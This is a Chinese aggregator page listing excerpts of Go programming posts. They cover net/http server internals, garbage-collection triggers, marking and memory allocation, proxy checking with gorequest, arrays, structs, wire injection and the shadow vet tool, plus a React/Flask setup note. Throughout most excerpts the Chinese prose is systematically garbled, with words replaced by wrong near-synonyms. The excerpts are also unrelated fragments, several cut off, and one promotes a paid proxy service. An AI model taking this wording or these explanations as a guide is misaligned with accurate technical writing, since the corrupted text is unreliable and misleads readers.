关于go:41-Golang常用标准库nethttpserver

 Go语言创立HTTP服务还是十分不便的,基于http.Server几行代码就能实现,本篇文章次要介绍http.Server的根本应用形式以及HTTP申请解决流程。当然,目前很多web服务都基于gin框架实现,所以咱们也会简略介绍下gin框架的一些应用套路。 http.Server 概述 基于http.Server只须要短短几行代码就能创立一个HTTP服务,最简略的只须要配置好监听地址,以及申请解决handler就能够了,如上面程序所示: package mainimport ( "fmt" "net/http")func main() { server := &http.Server{ Addr: "0.0.0.0:8080", } //注册路由(也就是申请解决办法),解决/ping申请,准确匹配(申请地址必须完全一致) http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("hello world")) }) //启动HTTP服务 err := server.ListenAndServe() if err != nil { fmt.Println(err) }}/*curl http://127.0.0.1:8080/pinghello worldcurl http://127.0.0.1:8080/ping/1404 page not found*/ 如下面程序所示,http.Server.Addr设置HTTP服务监听地址,如果没有设置,默认监听80端口;http.HandleFunc函数用于注册路由,也就是申请对应的解决办法,有两个参数:第一个参数含意是pattern,有两种匹配形式,"/ping"为准确匹配即申请地址必须等于"/ping",如申请"/ping/1"无奈匹配,而"/ping/"为前缀匹配,如申请"/ping/1"也会匹配胜利;第二个参数是函数类型,func(ResponseWriter, * Request),ResponseWriter可用于向客户端返回数据,Request代表以后HTTP申请。 函数http.Server.ListenAndServe用于启动HTTP服务,想想流程应该是怎么的呢?必定须要Listen吧(底层必定少不了socket,bind,listen三个零碎调用),其次呢?期待客户端连贯呗,也就是循环期待accept,一旦返回创立新的协程解决该客户端申请就行了(包含读取数据,解析HTTP申请,解决,返回数据)。还是比较简单的,整个流程的代码如下: func (srv *Server) ListenAndServe() error { ln, err := net.Listen("tcp", addr) return srv.Serve(ln)}func (srv *Server) Serve(l net.Listener) error { for { rw, err := l.Accept() c := srv.newConn(rw) // 子协程解决申请 go c.serve(connCtx) }}func (c *conn) serve(ctx context.Context) { for { //读取&解析HTTP申请 w, err := c.readRequest(ctx) //解决HTTP申请 serverHandler{c.server}.ServeHTTP(w, w.req) //完结&返回 w.finishRequest() if !w.conn.server.doKeepAlives() { return } }} 整个流程框架其实非常简单,与咱们料想的基本一致,当然这里咱们省略了很多细节问题。如,c.serve函数主流程为什么是一个for循环呢?会屡次解决申请吗?当然是的,因为HTTP协定keepalive存在,客户端建设连贯之后,能够基于这一个连贯发送多个HTTP申请。而且,个别解决HTTP申请是不是都有超时工夫,如何解决超时问题咱们也省略了,咱们只关注都有哪些超时配置,这些配置都定义在http.Server构造,如下: ...

October 14, 2022 · 3 min · jiezi

关于go:个人云盘持续更新中

集体云盘技术栈React + Flask + SQLiteReact简介 React 是一套基于组件化思维的,应用 JavaScript 语言的,用来构建前端交互式 UI 的框架环境筹备 # 查看node版本$ node -v v14.15.1# 查看npm版本$ npm -v 6.14.8# 装置create-react-appnpm i -g create-react-app创立react工程 npx create-react-app my-appcd my-appnpm startFlask环境筹备 pip install flask 简略测试代码 mkdir ./test vi ./test/app.py# app.pyfrom flask import Flask, jsonifyapp = Flask(__name__)@app.route("/", methods=['GET'])def demo(): return jsonify(msg="hello, flask!") if __name__=="__main__": app.run(debug=True)python ./test/app.py...SQLite装置 sudo apt-get install -y sqlite3

October 13, 2022 · 1 min · jiezi

关于go:34-GolangGC调度与调优

 对于垃圾回收的基本知识曾经介绍的差不多了,只是要晓得垃圾回收过程是须要消耗CPU工夫的,那就有可能会影响到用户协程的调度,所以在某些场景须要垃圾回收相干调优。本篇文章次要介绍垃圾回收的触发机会,以及垃圾回收器的几种调度模式,只有理解这些能力晓得如何调优;最初联合罕用的缓存框架bigcache,剖析如何缩小垃圾回收的压力。 触发机会 什么时候触发垃圾回收呢?首先内存应用增长肯定比例时有可能会触发(总不能任由内存增长吧),还有其余形式吗?咱们也能够通过runtime.GC函数手动触发(会阻塞用户协程,直到垃圾回收流程完结),另外,Go辅助线程也会检测,如果超过2分钟没有执行垃圾回收,则强制启动垃圾回收。三种触发形式定义如下: // gcTriggerHeap indicates that a cycle should be started when// the heap size reaches the trigger heap size computed by the// controller.gcTriggerHeap gcTriggerKind = iota //内存增长到触发门限// gcTriggerTime indicates that a cycle should be started when// it's been more than forcegcperiod nanoseconds since the// previous GC cycle.gcTriggerTime //定时触发// gcTriggerCycle indicates that a cycle should be started if// we have not yet started cycle number gcTrigger.n (relative// to work.cycles).gcTriggerCycle //可用于强制触发//蕴含触发类型,以后工夫,周期数type gcTrigger struct { kind gcTriggerKind now int64 // gcTriggerTime: current time n uint32 // gcTriggerCycle: cycle number to start} 还记得上一篇文章介绍垃圾回收入口函数是gcstart,该函数的输出参数就是gcTrigger,每一次开启垃圾回收之前,都会检测是否应该触发垃圾回收,检测形式如下: ...

October 13, 2022 · 4 min · jiezi

关于go:33-GolangGC标记-清理

 上一篇文章咱们次要介绍了三色标记法与写屏障技术,基于这些根底,本篇文章将重点介绍垃圾回收的整个解决流程(开启-标记-标记完结-清理),包含标记协程主流程,经典的startTheworld/stopTheworld问题,辅助标记是什么,清理过程等等。 垃圾回收概述 Go语言将垃圾回收分为三个阶段:标记(三色标记扫描),标记终止(此时业务逻辑暂停,会再次扫描),未启动(可能也会执行清理工作);定义如下: _GCoff = iota // GC not running; sweeping in background, write barrier disabled_GCmark // GC marking roots and workbufs: allocate black, write barrier ENABLED_GCmarktermination // GC mark termination: allocate black, P's help GC, write barrier ENABLED 垃圾回收过程的启动函数为gcStart,该函数次要逻辑如下: 首先查看上一次垃圾回收是否还有mspan未被清理,如果有还须要执行清理工作;垃圾回收器的初始化是不能同时进行的,这里通过锁解决并发问题;垃圾回收过程也是通过创立协程实现的,只是这些协程和一般的用户协程有所不同罢了;垃圾回收的某些初始化工作,是不能与用户协程并发执行的,所以在初始化过程中还须要暂停用户协程(也就是传说中的STW);func gcStart(trigger gcTrigger) { // 如果还有mspan未被清理,执行清理工作 for trigger.test() && sweepone() != ^uintptr(0) { sweep.nbgsweep++ } //启动垃圾回收过程须要加锁 semacquire(&work.startSema) //startSema protects the transition from "off" to mark or mark termination. //有这把锁能力stopTheworld semacquire(&worldsema) //Holding worldsema grants an M the right to try to stop the world. //创立垃圾回收主协程 gcBgMarkStartWorkers() //STW systemstack(stopTheWorldWithSema) //设置垃圾回收阶段 setGCPhase(_GCmark) //预处理须要标记的根对象 gcMarkRootPrepare() //设置标识位(很多中央有用到这个标识判断是否在标记) atomic.Store(&gcBlackenEnabled, 1) //复原用户协程 systemstack(func() { now = startTheWorldWithSema(trace.enabled) }) semrelease(&worldsema) semrelease(&work.startSema)} gcStart函数这就执行完结了?标记过程呢?没看到对应的逻辑啊。想想标记过程必定是漫长的,如果由gcStart函数同步调用,那可是会阻塞函数调用方的。留神上述主流程创立了垃圾回收主协程,就是这些协程执行的标记过程。 ...

October 12, 2022 · 4 min · jiezi

关于go:Go语言学习笔记Http请求Gorequest使用

最近几天部署代理池的时候,用Python写了requests申请测试IP地址检测连通性的脚本。然而发现了一个问题,requests.get带代理申请有时候申请不通。我初步认为代理的问题,然而之后我用了curl申请发现代理是失常的,用Go写了测试发现还是失常的。难道是requests的问题?目前不晓得是什么起因,之后我用Go写了代理的测试,由此我发现了一个Go语言比拟好用的Http申请的包——Gorequest。 Go语言中net/http的代理申请net/http申请整体流程并不简单,用nrt/http包的get,post办法都能够实现。然而,在配置代理上,须要独自配置Client客户端: 1.//发送申请  2.rqt, err := http.NewRequest("GET", testApi, nil)  3.if err != nil {  4.    fmt.Println(err)  5.    return  6.}  7.//配置代理  8.client := &http.Client{  9.    Transport: &http.Transport{  10.        Proxy: http.ProxyURL(urlProxy),  11.    },  12.}  13.response, err := client.Do(rqt)  14.if err != nil {  15.    fmt.Println(err)  16.    panic(err)  17.    return  18.}  直到我发现了Gorequest Gorequest$ go get github.com/parnurzeal/gorequest //装置get申请: 1.request := gorequest.New()  2.resp, body, errs := request.Get(url).End()  gorequest代理,非常简单 1.request := gorequest.New().Proxy("代理")  Gorequest获取代理并进行测试获取代理办法定义一个getRes函数,接管url,进行http申请并返回申请内容 1.func getRes(url string) string{  2.    defer func() {  3.        err := recover()  4.        if err != nil {  5.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  6.        }  7.    }()  8.    //获取代理  9.    _, body, errs := gorequest.New().Get(url).End()  10.    if errs != nil {  11.        panic(errs)  12.    }  13.    return body  14.}  定义一个getIp办法,获取代理并解决返回的json(首先定义一个构造体以便解决json) 1.type reqinfo struct {  2.    Code int //返回后果代码  3.    Success bool //success参数是否申请胜利  4.    Msg,RequestIp string //返回信息和本地申请的IP地址  5.    Data []map[string]interface{} //返回的IP,类型是以key为字符串,值为空接口的map组成的array   6.}  1.func getiP(getipUrl string){  2.    defer func() {  3.        err := recover()  4.        if err != nil {  5.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  6.        }  7.    }()  8.    body :=getRes(getipUrl)  9.    fmt.Println(body)  10.    //解决json  11.    var info reqinfo  12.    err := json.Unmarshal([]byte(body),&info)  13.    if err != nil {  14.        fmt.Println("json error",err)  15.    }  16.}  for循环并用goroutine多线程检测IP 1.for _,v := range info.Data{  2.    IP := v["ip"]  3.    port := v["port"]  4.    proxyUrl := fmt.Sprint("http://",IP,":",port)  5.    fmt.Println(proxyUrl)  6.    url := "https://api.myip.la/en?json"  7.    wg.Add(1)  8.    go ipcheck(url,proxyUrl)  9.}  10.wg.Wait() 1.func ipcheck(url string,proxy string){  2.    request := gorequest.New().Proxy(proxy)  3.    _, body, errs := request.Get(url).  4.        Set("User-Agent", `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36`).  5.        End()  6.    if errs != nil {  7.        fmt.Println(errs)  8.    }  9.    fmt.Println(body)  10.    defer wg.Done()  11.    defer func() {  12.        err := recover()  13.        if err != nil {  14.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  15.        }  16.    }()  17.}  测试后果本次代理测试应用的是ipidea的代理,地区笼罩广,亲测测试通过率不低,新用户能够白嫖流量哦。地址:http://www.ipidea.net/ 残缺代码 1.package main  2.   3.import (  4.    "encoding/json"  5.    "fmt"  6.    "github.com/parnurzeal/gorequest"  7.    "sync"  8.    "time"  9.)  10.   11.var wg sync.WaitGroup  12.   13.type reqinfo struct {  14.    Code int  15.    Success bool  16.    Msg,RequestIp string  17.    Data []map[string]interface{}  18.}  19.   20.//api  21.func getRes(url string) string{  22.    defer func() {  23.        err := recover()  24.        if err != nil {  25.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  26.        }  27.    }()  28.    //获取代理  29.    _, body, errs := gorequest.New().Get(url).End()  30.    if errs != nil {  31.        panic(errs)  32.    }  33.    return body  34.}  35.   36.func ipcheck(url string,proxy string){  37.    request := gorequest.New().Proxy(proxy)  38.    _, body, errs := request.Get(url).  39.        Set("User-Agent", `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36`).  40.        End()  41.    if errs != nil {  42.        fmt.Println(errs)  43.        //panic(errs)  44.    }  45.    fmt.Println(body)  46.    defer wg.Done()  47.    defer func() {  48.        err := recover()  49.        if err != nil {  50.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  51.        }  52.    }()  53.}  54.   55.func getiP(getipUrl string){  56.    defer func() {  57.        err := recover()  58.        if err != nil {  59.            fmt.Println(time.Now().Format("2006-01-02 15:04:05 07"), "【http error】", "返回信息:", err)  60.        }  61.    }()  62.    body :=getRes(getipUrl)  63.    fmt.Println(body)  64.    //解决json  65.    var info reqinfo  66.    err := json.Unmarshal([]byte(body),&info)  67.    if err != nil {  68.        fmt.Println("json error",err)  69.    }  70.    for _,v := range info.Data{  71.        IP := v["ip"]  72.        port := v["port"]  73.        proxyUrl := fmt.Sprint("http://",IP,":",port)  74.        fmt.Println(proxyUrl)  75.        url := "https://api.myip.la/en?json"  76.        wg.Add(1)  77.        go ipcheck(url,proxyUrl)  78.    }  79.    wg.Wait()  80.}  81.   82.func main() {  83.    getipUrl := "代理链接"  84.    getiP(getipUrl)  85.}  

October 11, 2022 · 1 min · jiezi

关于go:32-GolangGC三色标记与写屏障

 垃圾回收就是找出不再应用的对象并回收这些内存。如何找出呢?这就不得不说一下三色标记法,这是Go语言垃圾回收的根底。本篇文章次要介绍三色标记法,包含三色标记算法,写屏障技术;以及Go语言是如何实现三色标记和写屏障的。 三色标记 想想写C程序时,咱们须要自申请内存(malloc),应用结束后还须要本人开释内存(free),如果不开释可是会造成内存泄露的。写Go程序貌似不须要关注内存的开释,因为垃圾回收帮忙咱们回收了无用内存(称之为垃圾)。思考一下,垃圾回收都负责回收哪些内存呢?通常指的是堆内存,栈上的内存为什么不必回收呢?因为随着函数的调用与返回,栈内存主动调配与开释。那如何辨认堆内存是不是垃圾呢? 垃圾内存的定义应该是什么呢?想想如果没有任何路径能拜访到这块内存,那这块内存是不是就是垃圾内存了?如何判断有无路径能拜访到呢?有一个经典的计划叫援用计数法,如果对象A援用了对象B,这时候B对象的援用计数为1(对象相互援用时更新援用计数),那么对象B内存必定就不是垃圾了,因为对象A还能拜访到对象B,而回收之后对象A再拜访对象B程序是会异样的。那对象A如果没有任何路径能拜访到呢?也就是说对象A自身就是垃圾,这时候显然对象A和对象B都应该被回收。 那这样操作呢:先判断对象A的援用计数为0,回收对象A,同时将对象A指向的所有对象援用计数减1,再判断这些对象的援用计数如果为0,则回收,以此类推。这种计划可行吗?想想如果对象A援用对象B,并且对象B也援用对象A,也就是呈现了循环援用状况,并且没有其余任何对象援用到这两个对象,实践上这时候对象A和对象B应该被回收,然而援用计数法又无奈回收这两个对象。 还有什么其余方法吗?想想什么对象肯定不可回收,拜访某对象的路径有什么特点呢?比如说栈对象,比方全局对象呢,这两种类型对象必定是不能轻易回收的,而且堆内存上的对象,一般来说也都是从栈对象或全局对象,逐渐援用,才拜访到的。如下图所示: 那只须要从根对象开始扫描(如栈对象,全局对象),扫描到的对象必定就不是垃圾,剩下的没有被扫描到的对象就是垃圾须要被回收了。这也就是三色标记法的基本思路了。为什么是三色呢?不是只有两种状态吗,已扫描,未扫描;因为还有局部对象处于待扫描状态,想想最后根节点是不是待扫描,扫描到这些节点时,须要以此判断(标记)其指向的所有节点,这些节点将称为下一波待扫描节点。 三色标记法申明了三种类型对象:1)彩色,曾经扫描过的对象;2)灰色,就是待扫描对象;3)红色,没有扫描的对象。整个过程能够总结为:1)从灰色对象汇合中抉择一个对象,标为彩色;2)扫描该对象指向的所有对象,将其退出到灰色对象汇合;3)一直反复步骤1/2。扫描完结后,最终只剩下彩色对象与红色对象,而红色对象就是须要回收的垃圾。 思考下Go语言是如何实现这一过程呢?彩色对象如何标记呢?最终红色对象是须要回收的,如何实现红色对象的疾速回收呢?还记得上一篇文章介绍内存治理的根本单元是mspan,申请内存就是从mspan查找闲暇内存块(bitmap记录内存闲暇与否,allocBits)。其实还有另一个字段,也是一个bitmap,用来实现内存块的标记: type mspan struct { gcmarkBits *gcBits}s.gcmarkBits = newMarkBits(s.nelems) gcmarkBits的比特位数目与mspan分隔的内存块数目统一,1示意彩色对象,0示意红色对象。等等,那灰色对象呢?一个必填位怎么示意三种色彩?想想如果用两个比特位示意黑灰白三种对象,第一步从灰色对象汇合中抉择一个对象将其标黑,灰色对象汇合在哪?怎么抉择灰色对象?遍历吗?所以灰色对象,其实是另外有一个队列保护的,而且灰色对象的gcmarkBits曾经置位1了。函数greyobject实现了对象标灰的逻辑,参考如下: func greyobject(obj, base, off uintptr, span *mspan, gcw *gcWork, objIndex uintptr) { // objIndex为该内存块在mspan的地位 mbits := span.markBitsForIndex(objIndex) // 如果没有标记才执行标记操作 if mbits.isMarked() { return } mbits.setMarked() //退出队列 if !gcw.putFast(obj) { gcw.put(obj) }}// wbuf1就是一个数组func (w *gcWork) putFast(obj uintptr) bool { wbuf := w.wbuf1 if wbuf == nil { return false } else if wbuf.nobj == len(wbuf.obj) { return false } wbuf.obj[wbuf.nobj] = obj wbuf.nobj++ return true} 而整个标记扫描过程,其实就是一个for循环,一直从队列获取灰色对象,扫描并标记其指向的对象(垃圾回收初始化阶段,曾经将跟对象增加到灰色对象汇合了): ...

October 11, 2022 · 3 min · jiezi

关于go:如何快速学习Go的切片和数组数据类型

本文已收录如何疾速学习Go的struct数据类型。涵盖PHP、JavaScript、Linux、Golang、MySQL、Redis和开源工具等等相干内容。什么是数组数组是属于同一类型的元素的汇合。例如,整数 5、8、9、79、76 的汇合造成一个数组。Go 中不容许混合不同类型的值,例如,同时蕴含字符串和整数的数组。 申明数组数组属于类型 。 示意数组中的元素数,并示意每个元素的类型。元素的数量也是类型的一部分(咱们稍后将对此进行更具体的探讨。[n]TnTn 有不同的办法来申明数组。让咱们一个接一个地看一下。 package mainimport ( "fmt")func main() { var a [3]int //int array with length 3 fmt.Println(a)}var a [3]int 申明一个长度为 3 的整数数组。数组中的所有元素都将主动调配数组类型的零值。在这种状况下是一个整数数组,因而的所有元素都赋给 ,int 的零值。运行上述程序将打印a a 0 [0 0 0]数组的索引从 开始,到 完结于 。让咱们为下面的数组调配一些值。0 length - 1。 package mainimport ( "fmt")func main() { var a [3]int //int array with length 3 a[0] = 12 // array index starts at 0 a[1] = 78 a[2] = 50 fmt.Println(a)}a[0] 将值赋给数组的第一个元素。该程序将打印 ...

October 11, 2022 · 6 min · jiezi

关于go:星汉未来-云原生薪火计划开源大使招募

为什么要开源? 当一个我的项目被开源, 这意味着任何人都能够出于任何目标, 查看,应用,批改和散发这个我的项目。 开源是弱小的, 它升高了事物被驳回的阻碍, 使得咱们的想法能够被迅速流传。 开源远远不止是代码、文档, 还包含它们在演进过程中的所有探讨。 星汉将来自研的开源算力调度引擎 BridgX, 近期更新了 v0.7.0 版本, 新增对更多云厂商实例扩缩反对。 将来,星汉将来会持续开源: FinOps 产品 CostPilot、 Serverless 产品 InfraPilot。 现诚邀开发者共享开源,共建生态, 您能够参加交换和奉献的形式包含但不限于: 报告谬误、奉献代码、奉献文档等。对于星汉将来 星汉将来(Galaxy-Future)是一家基于云原生技术的根底软件服务商。依靠自研的算力调度引擎 BridgX、 数据物流引擎 DTExpress、指标治理引擎 CudgX,星汉将来打造了云原生根底治理平台 SchedulX, 具备 1 分钟 1000 台服务器调度能力、TB 级数据疾速迁徙能力,及业务指标的精准度量能力,通过对各类计算资源的精准度量、疾速调度和自动化治理,让计算像电一样随需应用,助力企业 IT 资源利用率晋升至 50% 以上。

October 10, 2022 · 1 min · jiezi

关于go:go-wire-入门连载二单体应用注入项目

之前写过一篇文章,次要是介绍wire的多个依赖注入实现 go wire 入门 理论应用中,很多人用的是框架,比方 kratos是单体利用,这里再着重介绍一下,这方面的应用。 一、wire介绍wire 依赖注入 有两个外围概念 providers 和 injectors 。语法如下: wire.Build(provide1, provide2,***)providers,次要是生成对象(结构图)的一般办法。这些办法接管所需依赖作为参数,创建对象(结构图)并将其返回。injectors,是注入。二、定义providers1、最简略的 provider,一个函数NewUser生成一个 User,没有参数。package usertype User struct { Name string}func NewUser() User { return User{Name: "haha"}}2、有一个参数的 provider,一个函数NewRepository生成一个 Repository,参数User。package usertype Repository struct { Name string}func NewRepository(u User) Repository { return Repository{Name: u.Name}}3、有两个参数的 provider,一个函数NewService生成一个 Service,参数ctx,repo。package userimport "context"type Service struct { Name string}func NewService(ctx context.Context, repo Repository) (Service, error) { return Service{Name: repo.Name}, nil}4、多个provider能够组成一个 provider 汇合package userimport "github.com/google/wire"var SuperSet = wire.NewSet(NewUser, NewRepository, NewService)二、injectors 注入

October 10, 2022 · 1 min · jiezi

关于go:go-常用代码检查工具

如何主动发现variable shadowing靠人肉去排查还是容易脱漏的,Go工具链里有一个shadow命令能够帮忙咱们排查代码里潜在的variable shadowing问题。 第一步,装置shadow命令 go install golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow第二步,应用shadow查看代码里是否有variable shadowing go vet -vettool=$(which shadow)比方,我查看后的后果如下: $ go vet -vettool=$(which shadow)# example.com/shadow./main.go:9:6: declaration of "i" shadows declaration at line 8此外,shadow命令也能够独自应用,不须要联合go vet。shadow前面须要带上package名称或者.go源代码文件名。 $ shadow example.com/shadow11-variable-shadowing/main.go:9:6: declaration of "i" shadows declaration at line 8$ shadow main.go11-variable-shadowing/main.go:9:6: declaration of "i" shadows declaration at line 8

October 10, 2022 · 1 min · jiezi

关于go:31-GolangGC内存管理

 Go语言为咱们做了很多,创建对象不再须要咱们手动申请内存,也不必思考对象应用完后开释内存,这些对开发者来说都是通明的;然而作为一名Go开发者,内存治理和垃圾回收还是有必要深入研究的。毕竟,内存与CPU是程序高效运行的根底。 虚拟内存 Linux为每个过程保护一个独自的虚拟内存空间(组织为一些区域/段的汇合,如代码段,数据段,堆,共享库段,以及用户栈都是不同的区域),如下图所示: 说到这里就不得不提一下零碎调用mmap,其要求内核创立一个新的虚拟内存区域(留神是新的区域,和堆是平级关系,即mmap函数并不是在堆上分配内存的);最好是从地址addr开始(个别传null),并将文件形容fd符指定的对象的一个间断的chunk(大小为len,从文件偏移offset开始)映射到这个新的区域;当fd传-1时,可用于申请分配内存。 函数mmap申明如下(munmap函数开释该虚拟内存区域): void* mmap ( void * addr , size_t len , int prot , int flags , int fd , off_t offset )int munmap(void *addr, size_t length); 参数prot形容这个区域的访问控制权限,能够取以下值: PROT_EXEC //页内容能够被执行PROT_READ //页内容能够被读取PROT_WRITE //页能够被写入PROT_NONE //页不可拜访 参数flags由形容被映射对象类型的位组成,如MAP_SHARED 示意与其它所有映射这个对象的过程共享映射空间;MAP_PRIVATE 示意建设一个写入时拷贝的公有映射,内存区域的写入不会影响到原文件。 Go语言底层在向操作系统申请内存时,一次申请64M内存,就是通过mmap函数申请的。另外留神,操作系统分配内存通常是按页(4K)调配的,也就是说即便过程申请3K内存,操作系统会调配4K字节。 如何设计动态内存分配器 Go过程向操作系统一次申请64M内存,那么业务代码须要内存时怎么调配呢?要晓得业务申请内存是灵便多变的,申请与开释机会,申请内存块大小等等都是随机的。因而,须要设计一个内存分配器来实现这一类内存调配需要。要实现分配器必须思考以下几个问题: 1.闲暇块组织:如何记录闲暇块;如何标记内存块是否闲暇;2.调配:如何抉择一个适合的闲暇块来解决调配申请;3.宰割:闲暇块个别状况会大于理论的调配申请,咱们如何解决这个闲暇块中的残余局部;4.回收:如何解决一个刚刚被开释的块;思考1:闲暇块组织 内存调配与开释申请时齐全随机的,最终会造成堆内存被宰割为若干个内存小块,其中有些处于已调配状态,有些处于闲暇状态;咱们须要额定的空间来标记内存状态以及内存块大小;下图为malloc设计思路: 注:图中显示额定应用4字节记录以后内存块属性,其中3比特记录是否闲暇,29比特记录内存块大小;理论malloc头部格局可能会依据版本等调整;不管咱们应用malloc调配多少字节的内存,理论malloc调配的内存都会多几个字节;注:闲暇内存块可能会被组织为一个链表构造,由此能够遍历所有闲暇内存块,直到查找到一个满足条件的为止; 思考2:如何抉择适合的闲暇块 在解决内存调配申请时,须要查找闲暇内存链表,找到一个满足申请条件的闲暇内存块,抉择什么查找算法;而且很有可能存在多个符合条件的闲暇内存块,此时如何抉择?目前有很多比拟成熟的算法,如首次适配,最佳适配,最差适配等; 思考3:如何调配 在查找到满足条件的闲暇内存块时,此内存个别状况会比理论申请调配的内存空间要大;全副调配给用户,节约空间;因而个别会将此闲暇内存块切割为两个小块内存,一块调配给用户,一块标记为新的闲暇内存 思考4:如何回收: 当用户调用free()函数开释内存时,须要将此块内存从新标记为闲暇内存,并且插入闲暇链表;然而须要留神的是,此块内存可能可能与其余闲暇内存拼接为更大的闲暇内存;此时还须要算法来解决闲暇内存的合并; 思考5:内存调配效率问题: 用户申请分配内存时,须要遍历闲暇内存链表,直到查找到一个满足申请条件的闲暇内存;由此可见,算法复杂度与链表长度成正比;咱们能够将闲暇内存依照空间大小组织为多个闲暇链表,内存大小相近的造成一个链表;此时只须要依据申请内存大小查找相应闲暇链表即可;更进一步的,闲暇内存只会被切割为固定大小,如2^n字节,每种字节大小的闲暇内存造成一个链表;(用户理论调配的内存是2^n字节,大于用户理论申请) 总结:任何内存分配器都须要额定的空间(数据结构)记录每个内存块大小及其调配状态 Go版本内存分配器 Go语言是如何实现这种内存分配器的呢?与下面介绍的malloc一样,在内存块头部额定增加几个字节吗?其实不是的,Go语言是基于bitmap标识的,针对每一个内存块,应用一个比特位示意该内存块闲暇与否。 Go语言内存治理的根本单元是mspan,mspan构造蕴含字段allocBits(就是bitmap),记录着每一个内存块闲暇还是已调配: type mspan struct { // 页数,Go定义页大小为8K npages uintptr // number of pages in span //bitmap,记录每一个内存块闲暇与否 allocBits *gcBits //bitmap的缓存,缓存64bit,用于疾速查找(De Bruijn算法) allocCache uint64 //每种规格mspan负责调配的内存块大小 elemsize uintptr // computed from sizeclass or from npages} 另外,为了晋升闲暇内存查找效率,Go语言定义了多种规格的mspan,每种规格的mspan只负责调配固定大小的内存块(总计67种规格大小),如下: ...

October 10, 2022 · 3 min · jiezi

关于go:如何快速学习Go的struct数据类型

本文已收录如何疾速学习Go的struct数据类型。涵盖PHP、JavaScript、Linux、Golang、MySQL、Redis和开源工具等等相干内容。什么是构造体构造是示意字段汇合的用户定义类型。它能够用于将数据分组为单个单元而不是将每个数据作为独自的值的中央。例如,员工有firstName、lastName和age。将这三个属性分组到一个名为Employee。 type Employee struct { firstName string lastName string age int}下面的代码段申明了一个构造类型Employee,其中蕴含字段firstName、lastName和age。下面的Employee构造称为命名构造,因为它创立了一个名为Employme的新数据类型,能够应用该数据类型创立Employ构造。通过在一行中申明属于同一类型的字段,而后在类型名称前面加上该字段,也能够使该构造更加紧凑。在下面的struct中,firstName和lastName属于同一类型字符串,因而该struct能够重写为: type Employee struct { firstName, lastName string age int}只管下面的语法节俭了几行代码,但它并没有使字段声显著式。请防止应用上述语法。 创立构造体让咱们应用以下简略程序申明一个命名的structEmployee。 package mainimport ( "fmt")type Employee struct { firstName string lastName string age int salary int}func main() { //creating struct specifying field names emp1 := Employee{ firstName: "Sam", age: 25, salary: 500, lastName: "Anderson", } //creating struct without specifying field names emp2 := Employee{"Thomas", "Paul", 29, 800} fmt.Println("Employee 1", emp1) fmt.Println("Employee 2", emp2)}在上述程序的第7行中,咱们创立了一个命名的构造类型Employee。在上述程序的第17行中,emp1构造是通过为每个字段名指定值来定义的。申明构造类型时,字段的程序不用与字段名的程序雷同。在这种状况下。咱们已更改lastName的地位并将其移到开端。这将不会有任何问题。在上述程序的第25行中,通过省略字段名来定义emp2。在这种状况下,必须放弃字段的程序与构造申明中指定的程序雷同。请防止应用此语法,因为它会使您难以确定哪个字段的值。咱们在此处指定此格局只是为了了解这也是一个无效语法:)以上程序打印为: ...

October 10, 2022 · 4 min · jiezi

关于go:组件

零碎平台 (Hadoop、CDH、HDP) 监控治理 (CM、Hue、Ambari、Dr.Elephant、Ganglia、Zabbix、Eagle) 文件系统 (HDFS、GPFS、Ceph、GlusterFS、Swift 、BeeGFS、Alluxio) 资源调度 (YARN、Mesos、) 协调框架 (ZooKeeper 、Etcd、Consul) 数据存储 (HBase、Cassandra、ScyllaDB 、MongoDB、Accumulo 、Redis 、Ignite、Arrow 、Geode、CouchDB、Kudu、CarbonData) 数据处理 (MapReduce、Spark、Flink、Storm、Tez、Samza、Apex、Beam、Heron) 查问剖析(Hive、SparkSQL、Presto、Kylin、Impala、Druid、ElasticSearch、HAWQ、Lucene、Solr、 Phoenix) 数据收集 (Flume、Filebeat、Logstash、Chukwa ) 数据交换 (Sqoop 、Kettle、DataX 、NiFi) 音讯零碎 (Pulsar、Kafka、RocketMQ、ActiveMQ、RabbitMQ) 任务调度 (Azkaban、Oozie、Airflow) 数据治理 (Ranger 、Sentry、Atlas) 可视化 (Kibana 、D3.js、ECharts) 数据挖掘 (Mahout 、MADlib 、Spark ML、TensorFlow、Keras) 云平台 (Amazon S3、GCP、Microsoft Azure)

October 9, 2022 · 1 min · jiezi

关于go:Go常见错误第11篇意外的变量隐藏variable-shadowing

前言这是Go常见谬误系列的第11篇:Go语言中意外的变量遮蔽。素材来源于Go布道者,现Docker公司资深工程师Teiva Harsanyi。 本文波及的源代码全副开源在:Go常见谬误源代码,欢送大家关注公众号,及时获取本系列最新更新。 什么是变量遮蔽变量遮蔽的英文原词是 variable shadowing,咱们来看看维基百科上的定义: In computer programming, variable shadowing occurs when a variable declared within a certain scope) (decision block, method, or inner class) has the same name as a variable declared in an outer scope. At the level of identifiers) (names, rather than variables), this is known as name masking. This outer variable is said to be shadowed by the inner variable, while the inner identifier is said to mask the outer identifier. This can lead to confusion, as it may be unclear which variable subsequent uses of the shadowed variable name refer to, which depends on the name resolution) rules of the language.简略来说,如果某个作用域里申明了一个变量,同时在这个作用域的外层作用域又有一个雷同名字的变量,就叫variable shadowing(变量遮蔽)。 ...

October 9, 2022 · 2 min · jiezi

关于go:go-库之-logrus-日志

